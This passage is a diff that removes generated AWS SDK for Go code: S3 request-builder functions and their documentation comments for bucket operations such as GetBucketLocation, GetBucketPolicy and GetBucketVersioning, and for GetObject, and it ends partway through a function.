-// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLocation -func (c *S3) GetBucketLocationRequest(input *GetBucketLocationInput) (req *request.Request, output *GetBucketLocationOutput) { - op := &request.Operation{ - Name: opGetBucketLocation, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?location", - } - - if input == nil { - input = &GetBucketLocationInput{} - } - - output = &GetBucketLocationOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketLocation API operation for Amazon Simple Storage Service. -// -// Returns the region the bucket resides in. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketLocation for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLocation -func (c *S3) GetBucketLocation(input *GetBucketLocationInput) (*GetBucketLocationOutput, error) { - req, out := c.GetBucketLocationRequest(input) - return out, req.Send() -} - -// GetBucketLocationWithContext is the same as GetBucketLocation with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketLocation for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketLocationWithContext(ctx aws.Context, input *GetBucketLocationInput, opts ...request.Option) (*GetBucketLocationOutput, error) { - req, out := c.GetBucketLocationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketLogging = "GetBucketLogging" - -// GetBucketLoggingRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketLogging operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketLogging for more information on using the GetBucketLogging -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketLoggingRequest method. -// req, resp := client.GetBucketLoggingRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLogging -func (c *S3) GetBucketLoggingRequest(input *GetBucketLoggingInput) (req *request.Request, output *GetBucketLoggingOutput) { - op := &request.Operation{ - Name: opGetBucketLogging, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?logging", - } - - if input == nil { - input = &GetBucketLoggingInput{} - } - - output = &GetBucketLoggingOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketLogging API operation for Amazon Simple Storage Service. -// -// Returns the logging status of a bucket and the permissions users have to -// view and modify that status. To use GET, you must be the bucket owner. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketLogging for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLogging -func (c *S3) GetBucketLogging(input *GetBucketLoggingInput) (*GetBucketLoggingOutput, error) { - req, out := c.GetBucketLoggingRequest(input) - return out, req.Send() -} - -// GetBucketLoggingWithContext is the same as GetBucketLogging with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketLogging for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketLoggingWithContext(ctx aws.Context, input *GetBucketLoggingInput, opts ...request.Option) (*GetBucketLoggingOutput, error) { - req, out := c.GetBucketLoggingRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketMetricsConfiguration = "GetBucketMetricsConfiguration" - -// GetBucketMetricsConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketMetricsConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketMetricsConfiguration for more information on using the GetBucketMetricsConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketMetricsConfigurationRequest method. -// req, resp := client.GetBucketMetricsConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketMetricsConfiguration -func (c *S3) GetBucketMetricsConfigurationRequest(input *GetBucketMetricsConfigurationInput) (req *request.Request, output *GetBucketMetricsConfigurationOutput) { - op := &request.Operation{ - Name: opGetBucketMetricsConfiguration, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?metrics", - } - - if input == nil { - input = &GetBucketMetricsConfigurationInput{} - } - - output = &GetBucketMetricsConfigurationOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketMetricsConfiguration API operation for Amazon Simple Storage Service. -// -// Gets a metrics configuration (specified by the metrics configuration ID) -// from the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketMetricsConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketMetricsConfiguration -func (c *S3) GetBucketMetricsConfiguration(input *GetBucketMetricsConfigurationInput) (*GetBucketMetricsConfigurationOutput, error) { - req, out := c.GetBucketMetricsConfigurationRequest(input) - return out, req.Send() -} - -// GetBucketMetricsConfigurationWithContext is the same as GetBucketMetricsConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketMetricsConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketMetricsConfigurationWithContext(ctx aws.Context, input *GetBucketMetricsConfigurationInput, opts ...request.Option) (*GetBucketMetricsConfigurationOutput, error) { - req, out := c.GetBucketMetricsConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketNotification = "GetBucketNotification" - -// GetBucketNotificationRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketNotification operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketNotification for more information on using the GetBucketNotification -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketNotificationRequest method. -// req, resp := client.GetBucketNotificationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketNotification -// -// Deprecated: GetBucketNotification has been deprecated -func (c *S3) GetBucketNotificationRequest(input *GetBucketNotificationConfigurationRequest) (req *request.Request, output *NotificationConfigurationDeprecated) { - if c.Client.Config.Logger != nil { - c.Client.Config.Logger.Log("This operation, GetBucketNotification, has been deprecated") - } - op := &request.Operation{ - Name: opGetBucketNotification, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?notification", - } - - if input == nil { - input = &GetBucketNotificationConfigurationRequest{} - } - - output = &NotificationConfigurationDeprecated{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketNotification API operation for Amazon Simple Storage Service. -// -// No longer used, see the GetBucketNotificationConfiguration operation. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketNotification for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketNotification -// -// Deprecated: GetBucketNotification has been deprecated -func (c *S3) GetBucketNotification(input *GetBucketNotificationConfigurationRequest) (*NotificationConfigurationDeprecated, error) { - req, out := c.GetBucketNotificationRequest(input) - return out, req.Send() -} - -// GetBucketNotificationWithContext is the same as GetBucketNotification with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketNotification for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -// -// Deprecated: GetBucketNotificationWithContext has been deprecated -func (c *S3) GetBucketNotificationWithContext(ctx aws.Context, input *GetBucketNotificationConfigurationRequest, opts ...request.Option) (*NotificationConfigurationDeprecated, error) { - req, out := c.GetBucketNotificationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketNotificationConfiguration = "GetBucketNotificationConfiguration" - -// GetBucketNotificationConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketNotificationConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketNotificationConfiguration for more information on using the GetBucketNotificationConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketNotificationConfigurationRequest method. -// req, resp := client.GetBucketNotificationConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketNotificationConfiguration -func (c *S3) GetBucketNotificationConfigurationRequest(input *GetBucketNotificationConfigurationRequest) (req *request.Request, output *NotificationConfiguration) { - op := &request.Operation{ - Name: opGetBucketNotificationConfiguration, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?notification", - } - - if input == nil { - input = &GetBucketNotificationConfigurationRequest{} - } - - output = &NotificationConfiguration{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketNotificationConfiguration API operation for Amazon Simple Storage Service. -// -// Returns the notification configuration of a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketNotificationConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketNotificationConfiguration -func (c *S3) GetBucketNotificationConfiguration(input *GetBucketNotificationConfigurationRequest) (*NotificationConfiguration, error) { - req, out := c.GetBucketNotificationConfigurationRequest(input) - return out, req.Send() -} - -// GetBucketNotificationConfigurationWithContext is the same as GetBucketNotificationConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketNotificationConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketNotificationConfigurationWithContext(ctx aws.Context, input *GetBucketNotificationConfigurationRequest, opts ...request.Option) (*NotificationConfiguration, error) { - req, out := c.GetBucketNotificationConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketPolicy = "GetBucketPolicy" - -// GetBucketPolicyRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketPolicy operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketPolicy for more information on using the GetBucketPolicy -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketPolicyRequest method. -// req, resp := client.GetBucketPolicyRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketPolicy -func (c *S3) GetBucketPolicyRequest(input *GetBucketPolicyInput) (req *request.Request, output *GetBucketPolicyOutput) { - op := &request.Operation{ - Name: opGetBucketPolicy, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?policy", - } - - if input == nil { - input = &GetBucketPolicyInput{} - } - - output = &GetBucketPolicyOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketPolicy API operation for Amazon Simple Storage Service. -// -// Returns the policy of a specified bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketPolicy for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketPolicy -func (c *S3) GetBucketPolicy(input *GetBucketPolicyInput) (*GetBucketPolicyOutput, error) { - req, out := c.GetBucketPolicyRequest(input) - return out, req.Send() -} - -// GetBucketPolicyWithContext is the same as GetBucketPolicy with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketPolicy for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketPolicyWithContext(ctx aws.Context, input *GetBucketPolicyInput, opts ...request.Option) (*GetBucketPolicyOutput, error) { - req, out := c.GetBucketPolicyRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketPolicyStatus = "GetBucketPolicyStatus" - -// GetBucketPolicyStatusRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketPolicyStatus operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketPolicyStatus for more information on using the GetBucketPolicyStatus -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketPolicyStatusRequest method. -// req, resp := client.GetBucketPolicyStatusRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketPolicyStatus -func (c *S3) GetBucketPolicyStatusRequest(input *GetBucketPolicyStatusInput) (req *request.Request, output *GetBucketPolicyStatusOutput) { - op := &request.Operation{ - Name: opGetBucketPolicyStatus, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?policyStatus", - } - - if input == nil { - input = &GetBucketPolicyStatusInput{} - } - - output = &GetBucketPolicyStatusOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketPolicyStatus API operation for Amazon Simple Storage Service. -// -// Retrieves the policy status for an Amazon S3 bucket, indicating whether the -// bucket is public. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketPolicyStatus for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketPolicyStatus -func (c *S3) GetBucketPolicyStatus(input *GetBucketPolicyStatusInput) (*GetBucketPolicyStatusOutput, error) { - req, out := c.GetBucketPolicyStatusRequest(input) - return out, req.Send() -} - -// GetBucketPolicyStatusWithContext is the same as GetBucketPolicyStatus with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketPolicyStatus for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketPolicyStatusWithContext(ctx aws.Context, input *GetBucketPolicyStatusInput, opts ...request.Option) (*GetBucketPolicyStatusOutput, error) { - req, out := c.GetBucketPolicyStatusRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketReplication = "GetBucketReplication" - -// GetBucketReplicationRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketReplication operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketReplication for more information on using the GetBucketReplication -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketReplicationRequest method. -// req, resp := client.GetBucketReplicationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketReplication -func (c *S3) GetBucketReplicationRequest(input *GetBucketReplicationInput) (req *request.Request, output *GetBucketReplicationOutput) { - op := &request.Operation{ - Name: opGetBucketReplication, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?replication", - } - - if input == nil { - input = &GetBucketReplicationInput{} - } - - output = &GetBucketReplicationOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketReplication API operation for Amazon Simple Storage Service. -// -// Returns the replication configuration of a bucket. -// -// It can take a while to propagate the put or delete a replication configuration -// to all Amazon S3 systems. Therefore, a get request soon after put or delete -// can return a wrong result. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketReplication for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketReplication -func (c *S3) GetBucketReplication(input *GetBucketReplicationInput) (*GetBucketReplicationOutput, error) { - req, out := c.GetBucketReplicationRequest(input) - return out, req.Send() -} - -// GetBucketReplicationWithContext is the same as GetBucketReplication with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketReplication for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketReplicationWithContext(ctx aws.Context, input *GetBucketReplicationInput, opts ...request.Option) (*GetBucketReplicationOutput, error) { - req, out := c.GetBucketReplicationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketRequestPayment = "GetBucketRequestPayment" - -// GetBucketRequestPaymentRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketRequestPayment operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketRequestPayment for more information on using the GetBucketRequestPayment -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketRequestPaymentRequest method. -// req, resp := client.GetBucketRequestPaymentRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketRequestPayment -func (c *S3) GetBucketRequestPaymentRequest(input *GetBucketRequestPaymentInput) (req *request.Request, output *GetBucketRequestPaymentOutput) { - op := &request.Operation{ - Name: opGetBucketRequestPayment, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?requestPayment", - } - - if input == nil { - input = &GetBucketRequestPaymentInput{} - } - - output = &GetBucketRequestPaymentOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketRequestPayment API operation for Amazon Simple Storage Service. -// -// Returns the request payment configuration of a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketRequestPayment for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketRequestPayment -func (c *S3) GetBucketRequestPayment(input *GetBucketRequestPaymentInput) (*GetBucketRequestPaymentOutput, error) { - req, out := c.GetBucketRequestPaymentRequest(input) - return out, req.Send() -} - -// GetBucketRequestPaymentWithContext is the same as GetBucketRequestPayment with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketRequestPayment for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketRequestPaymentWithContext(ctx aws.Context, input *GetBucketRequestPaymentInput, opts ...request.Option) (*GetBucketRequestPaymentOutput, error) { - req, out := c.GetBucketRequestPaymentRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketTagging = "GetBucketTagging" - -// GetBucketTaggingRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketTagging operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketTagging for more information on using the GetBucketTagging -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketTaggingRequest method. -// req, resp := client.GetBucketTaggingRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketTagging -func (c *S3) GetBucketTaggingRequest(input *GetBucketTaggingInput) (req *request.Request, output *GetBucketTaggingOutput) { - op := &request.Operation{ - Name: opGetBucketTagging, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?tagging", - } - - if input == nil { - input = &GetBucketTaggingInput{} - } - - output = &GetBucketTaggingOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketTagging API operation for Amazon Simple Storage Service. -// -// Returns the tag set associated with the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketTagging for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketTagging -func (c *S3) GetBucketTagging(input *GetBucketTaggingInput) (*GetBucketTaggingOutput, error) { - req, out := c.GetBucketTaggingRequest(input) - return out, req.Send() -} - -// GetBucketTaggingWithContext is the same as GetBucketTagging with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketTagging for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketTaggingWithContext(ctx aws.Context, input *GetBucketTaggingInput, opts ...request.Option) (*GetBucketTaggingOutput, error) { - req, out := c.GetBucketTaggingRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketVersioning = "GetBucketVersioning" - -// GetBucketVersioningRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketVersioning operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketVersioning for more information on using the GetBucketVersioning -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketVersioningRequest method. -// req, resp := client.GetBucketVersioningRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketVersioning -func (c *S3) GetBucketVersioningRequest(input *GetBucketVersioningInput) (req *request.Request, output *GetBucketVersioningOutput) { - op := &request.Operation{ - Name: opGetBucketVersioning, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?versioning", - } - - if input == nil { - input = &GetBucketVersioningInput{} - } - - output = &GetBucketVersioningOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketVersioning API operation for Amazon Simple Storage Service. -// -// Returns the versioning state of a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketVersioning for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketVersioning -func (c *S3) GetBucketVersioning(input *GetBucketVersioningInput) (*GetBucketVersioningOutput, error) { - req, out := c.GetBucketVersioningRequest(input) - return out, req.Send() -} - -// GetBucketVersioningWithContext is the same as GetBucketVersioning with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketVersioning for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketVersioningWithContext(ctx aws.Context, input *GetBucketVersioningInput, opts ...request.Option) (*GetBucketVersioningOutput, error) { - req, out := c.GetBucketVersioningRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetBucketWebsite = "GetBucketWebsite" - -// GetBucketWebsiteRequest generates a "aws/request.Request" representing the -// client's request for the GetBucketWebsite operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetBucketWebsite for more information on using the GetBucketWebsite -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetBucketWebsiteRequest method. -// req, resp := client.GetBucketWebsiteRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketWebsite -func (c *S3) GetBucketWebsiteRequest(input *GetBucketWebsiteInput) (req *request.Request, output *GetBucketWebsiteOutput) { - op := &request.Operation{ - Name: opGetBucketWebsite, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?website", - } - - if input == nil { - input = &GetBucketWebsiteInput{} - } - - output = &GetBucketWebsiteOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetBucketWebsite API operation for Amazon Simple Storage Service. -// -// Returns the website configuration for a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetBucketWebsite for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketWebsite -func (c *S3) GetBucketWebsite(input *GetBucketWebsiteInput) (*GetBucketWebsiteOutput, error) { - req, out := c.GetBucketWebsiteRequest(input) - return out, req.Send() -} - -// GetBucketWebsiteWithContext is the same as GetBucketWebsite with the addition of -// the ability to pass a context and additional request options. -// -// See GetBucketWebsite for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetBucketWebsiteWithContext(ctx aws.Context, input *GetBucketWebsiteInput, opts ...request.Option) (*GetBucketWebsiteOutput, error) { - req, out := c.GetBucketWebsiteRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetObject = "GetObject" - -// GetObjectRequest generates a "aws/request.Request" representing the -// client's request for the GetObject operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetObject for more information on using the GetObject -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetObjectRequest method. -// req, resp := client.GetObjectRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObject -func (c *S3) GetObjectRequest(input *GetObjectInput) (req *request.Request, output *GetObjectOutput) { - op := &request.Operation{ - Name: opGetObject, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}/{Key+}", - } - - if input == nil { - input = &GetObjectInput{} - } - - output = &GetObjectOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetObject API operation for Amazon Simple Storage Service. -// -// Retrieves objects from Amazon S3. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetObject for usage and error information. -// -// Returned Error Codes: -// * ErrCodeNoSuchKey "NoSuchKey" -// The specified key does not exist. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObject -func (c *S3) GetObject(input *GetObjectInput) (*GetObjectOutput, error) { - req, 